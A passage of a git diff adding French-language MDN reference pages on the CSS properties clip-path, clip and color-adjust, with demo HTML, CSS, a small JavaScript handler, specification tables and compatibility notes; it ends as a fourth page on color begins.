+  &amp;lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&amp;gt;
+    &amp;lt;path d="M0.5,1
+      C 0.5,1,0,0.7,0,0.3
+      A 0.25,0.25,1,1,1,0.5,0.3
+      A 0.25,0.25,1,1,1,1,0.3
+      C 1,0.7,0.5,1,0.5,1 Z" /&amp;gt;
+  &amp;lt;/clipPath&amp;gt;
+&amp;lt;/svg&amp;gt;&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="svg"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="svg"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z')
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="svg2"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="svg2"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+
+
+    &lt;div class="note"&gt;clip-path: circle(25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape1"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape1"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape2"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape2"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: fill-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape3"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape3"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: stroke-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape4"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape4"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: view-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape5"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape5"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: margin-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape6"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape6"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: border-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape7"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape7"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: padding-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape8"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape8"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: content-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape9"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape9"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+}
+
+.col {
+  flex: 1 auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+  flex: 1;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  display: inline-block;
+  border: 1px dotted grey;
+  position:relative;
+}
+
+.container:before {
+  content: 'margin';
+  position: absolute;
+  top: 2px;
+  left: 2px;
+  font: italic .6em sans-serif;
+}
+
+.viewbox {
+  box-shadow: 1rem 1rem 0 #EFEFEF inset, -1rem -1rem 0 #EFEFEF inset;
+}
+
+.container.viewbox:after {
+  content: 'viewbox';
+  position: absolute;
+  left: 1.1rem;
+  top: 1.1rem;
+  font: italic .6em sans-serif;
+}
+
+.cell span {
+  display: block;
+  margin-bottom: .5em;
+}
+
+p {
+  font-family: sans-serif;
+  background: #000;
+  color: pink;
+  margin: 2em;
+  padding: 3em 1em;
+  border: 1em solid pink;
+  width: 6em;
+}
+
+.none { clip-path: none; }
+.svg  { clip-path: url(#myPath); }
+.svg2 { clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z');}
+.shape1 { clip-path: circle(25%); }
+.shape2 { clip-path: circle(25% at 25% 25%); }
+.shape3 { clip-path: fill-box    circle(25% at 25% 25%); }
+.shape4 { clip-path: stroke-box  circle(25% at 25% 25%); }
+.shape5 { clip-path: view-box    circle(25% at 25% 25%); }
+.shape6 { clip-path: margin-box  circle(25% at 25% 25%); }
+.shape7 { clip-path: border-box  circle(25% at 25% 25%); }
+.shape8 { clip-path: padding-box circle(25% at 25% 25%); }
+.shape9 { clip-path: content-box circle(25% at 25% 25%); }
+
+.defs {
+  width: 0;
+  height: 0;
+  margin: 0;
+}
+
+pre { margin-bottom: 0; }
+
+svg {
+  margin: 1em;
+  font-family: sans-serif;
+  width: 192px;
+  height: 192px;
+}
+
+svg rect {
+  stroke: pink;
+  stroke-width: 16px;
+}
+
+svg text {
+  fill: pink;
+  text-anchor: middle;
+}
+
+svg text.em {
+  font-style: italic;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}</p>
+
+<h3 id="Exemple_complet">Exemple complet</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo"&gt;
+&lt;svg height="0" width="0"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cross"&gt;
+      &lt;rect y="110" x="137" width="90" height="90"/&gt;
+      &lt;rect x="0" y="110" width="90" height="90"/&gt;
+      &lt;rect x="137" y="0" width="90" height="90"/&gt;
+      &lt;rect x="0" y="0" width="90" height="90"/&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;select id="clipPath"&gt;
+  &lt;option value="none"&gt;none&lt;/option&gt;
+  &lt;option value="circle(100px at 110px 100px)"&gt;circle&lt;/option&gt;
+  &lt;option value="url(#cross)" selected&gt;cross&lt;/option&gt;
+  &lt;option value="inset(20px round 20px)"&gt;inset&lt;/option&gt;
+  &lt;option value="path('M 0 200 L 0,110 A 110,90 0,0,1 240,100 L 200 340 z')"&gt;path&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+</pre>
+
+<div class="hidden">
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var clipPathSelect = document.getElementById("clipPath");
+clipPathSelect.addEventListener("change", function (evt) {
+  document.getElementById("clipped").style.clipPath = evt.target.value;
+});
+</pre>
+</div>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_complet", 230, 250)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Extension aux élément HTML. <code>clip-path</code> remplace la propriété {{cssxref("clip")}} désormais dépréciée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale (s'applique uniquement aux éléments SVG)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.clip-path")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("mask")}}</li>
+ <li>{{cssxref("filter")}}</li>
+ <li><a href="/fr/docs/Applying_SVG_effects_to_HTML_content">Appliquer des effets SVG sur du contenu HTML</a></li>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">Les formes CSS, le <em>clipping</em> et le <em>masking</em> : comment les utiliser (article en anglais)</a></li>
+ <li>L'attribut SVG {{SVGAttr("clip-path")}}</li>
+ <li>L'attribut SVG {{SVGAttr("clip-rule")}}</li>
+</ul>
diff --git a/files/fr/web/css/clip/index.html b/files/fr/web/css/clip/index.html
new file mode 100644
index 0000000000..b5aed6422a
--- /dev/null
+++ b/files/fr/web/css/clip/index.html
@@ -0,0 +1,145 @@
+---
+title: clip
+slug: Web/CSS/clip
+tags:
+  - CSS
+  - Déprécié
+  - Propriété
+  - Reference
+translation_of: Web/CSS/clip
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>clip</code></strong> permet de définir la zone d'un élément qui est visible. La propriété <code>clip</code> s'applique uniquement aux éléments positionnés de façon absolue (autrement dit, ceux avec {{cssxref("position","position:absolute")}} ou {{cssxref("position","position:fixed")}}).</p>
+
+<pre class="brush: css  no-line-numbers">/* Valeur avec un mot-clé */
+clip: auto;
+
+/* Valeurs de forme */
+/* Type &lt;shape&gt;     */
+clip: rect(1px 10em 3rem 2ch);
+clip: rect(1px, 10em, 3rem, 2ch);
+
+/* Valeurs globales */
+clip: inherit;
+clip: initial;
+clip: unset;
+</pre>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété est dépréciée et ne doit plus être utilisée. La propriété {{cssxref("clip-path")}} peut être utilisée à la place.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>Une forme rectangulaire indiquée avec <code>rect(&lt;haut&gt;, &lt;droite&gt;, &lt;bas&gt;, &lt;gauche&gt;)</code> ou avec <code>rect(&lt;haut&gt; &lt;droite&gt; &lt;bas&gt; &lt;gauche&gt;)</code>. <code>&lt;haut&gt;</code> et <code>&lt;bas&gt;</code> indiquent les décalages à partir du haut de la boîte de bordure, <code>&lt;gauche&gt;</code> et <code>&lt;droite&gt;</code> indiquent les décalages à partir du bord gauche de la boîte de bordure.</dd>
+ <dd><code>&lt;haut&gt;</code>, <code>&lt;droite&gt;</code>, <code>&lt;bas&gt;</code> et <code>&lt;gauche&gt;</code> peuvent avoir une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou<code> auto</code>. Si un des côtés vaut <code>auto</code>, l'élément est rogné sur ce côté avec le bord intérieur de la boîte de bordure.</dd>
+ <dt><code>auto</code></dt>
+ <dd>L'élément n'est pas rogné (la valeur par défaut). Attention, l'effet obtenu n'est pas le même que <code>rect(auto, auto, auto, auto)</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.dotted-border {
+  border: dotted;
+  position: relative;
+  width: 536px;
+  height: 350px;
+}
+
+#top-left, #middle, #bottom-right {
+  position: absolute;
+  top: 0px;
+}
+
+#top-left {
+  left: 360px;
+  clip: rect(0px, 175px, 113px, 0px);
+}
+
+
+#middle {
+  left: 280px;
+  clip: rect(119px, 255px, 229px, 80px);
+  /* standard syntax, unsupported by Internet Explorer 4-7 */
+}
+
+#bottom-right {
+  left: 200px;
+  clip: rect(235px 335px 345px 160px);
+  /* non-standard syntax, but supported by all major browsers*/
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;p class="dotted-border"&gt;
+  &lt;img src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Original graphic"&gt;
+  &lt;img id="top-left" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped to upper left"&gt;
+  &lt;img id="middle" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped towards middle"&gt;
+  &lt;img id="bottom-right" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped to bottom right"&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '689px', '410px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Masks', '#clip-property', 'clip')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Dépréciation de la propriété <code>clip</code> et proposition de  {{cssxref("clip-path")}} comme remplacement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'clip')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>clip</code> peut être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#clipping', 'clip')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.clip")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{cssxref("clip-path")}} qui doit être utilisée à la place</li>
+ <li>{{cssxref("text-overflow")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("position")}}</li>
+</ul>
diff --git a/files/fr/web/css/color-adjust/index.html b/files/fr/web/css/color-adjust/index.html
new file mode 100644
index 0000000000..b4ba77f6fd
--- /dev/null
+++ b/files/fr/web/css/color-adjust/index.html
@@ -0,0 +1,118 @@
+---
+title: color-adjust
+slug: Web/CSS/color-adjust
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Web
+  - color-adjust
+translation_of: Web/CSS/color-adjust
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propriété CSS <strong><code>color-adjust</code></strong> contrôle la façon dont l'agent utilisateur peut optimiser l'apparence de l'élément sur l'appareil. Par défaut, le navigateur est autorisé à appliquer tous les ajustements qu'il estime nécessaires afin d'ajuster l'élément au mieux pour l'appareil utilisé.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/color-adjust.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Dans l'exemple précédent, le texte utilise la couleur ({{cssxref("color")}}), <code>#411</code> qui est très sombre et qui peut donc être difficile à lire avec l'arrière-plan noir (<code>black</code> pour la propriété {{cssxref("background-color")}}). Selon le navigateur, sa configuration et l'appareil utilisé, le navigateur peut choisir de retirer l'arrière-plan noir ou de modifier la couleur du texte afin d'améliorer le contraste et la lisibilité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">color-adjust: economy;
+color-adjust: exact;</pre>
+
+<p>La valeur de la propriété <code>color-adjust</code> peut être un de ces deux mots-clés.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>economy</code></dt>
+ <dd>L'agent utilisateur est autorisé à appliquer les ajustements estimés nécessaires afin d'optimiser l'affichage du document sur l'appareil. Par exemple, un navigateur pourra, lors d'une impression, supprimer les images d'arrière-plan et ajuster les couleurs du texte afin de s'assurer que le contraste obtenu sur le papier sera suffisant. Cette valeur est la valeur par défaut.</dd>
+ <dt><code><strong>exact</strong></code></dt>
+ <dd>Le contenu de l'élément a spécifiquement été conçu afin d'utiliser des couleurs, des images et des styles de façon importante et toute modification opérée par le navigateur détériorerait le document. L'apparence du contenu ne devrait pas être modifiée sauf si l'utilisateur le demande. Ainsi, si une page contient un tableau dont les lignes sont alternées en gris et blanc, il ne faudrait pas retirer cette alternance au risque de perdre en lisibilité.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Plusieurs raisons peuvent entraîner un agent utilisateur à modifier l'apparence finale par rapport à l'apparence indiquée via CSS :</p>
+
+<ul>
+ <li>Le contenu utilise des couleurs trop proches pour le texte et l'arrière-plan pour que le résultat soit lisible sur l'appareil ciblé (écran ou papier par exemple)..</li>
+ <li>Si l'appareil d'affichage est une imprimante, afin d'économiser de l'encre, le navigateur peut choisir de retirer les images d'arrière-plan sombres ou trop denses.</li>
+ <li>Lors de l'impression, l'agent utilisateur peut choisir de remplacer du texte clair sur un fond sombre par du texte sombre sur un fond blanc.</li>
+</ul>
+
+<p>Si l'agent utilisateur propose des options à l'utilisateur quant à l'affichage des couleurs et des images, celles-ci seront prioritaires sur <code>color-adjust</code>. Autrement dit, il n'est pas absolument certain que <code>color-adjust</code> ait un quelconque effet. Tout d'abord parce que l'utilisateur peut choisir d'outrepasser ces règles mais aussi parce qu'il revient à l'agent utilisateur de choisir comment gérer <code>color-adjust</code> dans chaque situation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, une boîte utilise une image d'arrière-plan ({{cssxref("background-image")}}) ainsi qu'un dégradé linéaire ({{cssxref("linear-gradient()")}}) sur un arrière-plan noir afin d'avoir un dégradé bleu foncé derrière un texte rouge. Pour une raison quelconque, c'est l'apparence souhaitée quel que soit l'environnement (y compris du papier) et c'est donc <code>color-adjust: exact</code> qui est utilisé afin d'interdire au navigateur d'ajuster quoi que ce soit.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.ma-boite {
+  background-color: black;
+  background-image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5));
+  color: #900;
+  width: 15rem;
+  height: 6rem;
+  text-align: center;
+  font: 24px "Helvetica", sans-serif;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  color-adjust: exact;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="ma-boite"&gt;
+  &lt;p&gt;Il nous faut plus de contraste !&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 640, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Color Adjust', '#propdef-color-adjust', 'color-adjust')}}</td>
+   <td>{{Spec2('CSS Color Adjust')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.color-adjust")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Appliquer_des_couleurs">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></li>
+ <li>Les autres propriétés CSS relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+</ul>
diff --git a/files/fr/web/css/color/index.html b/files/fr/web/css/color/index.html
new file mode 100644
index 0000000000..805eeb54fb
--- /dev/null
+++ b/files/fr/web/css/color/index.html
@@ -0,0 +1,179 @@
+---
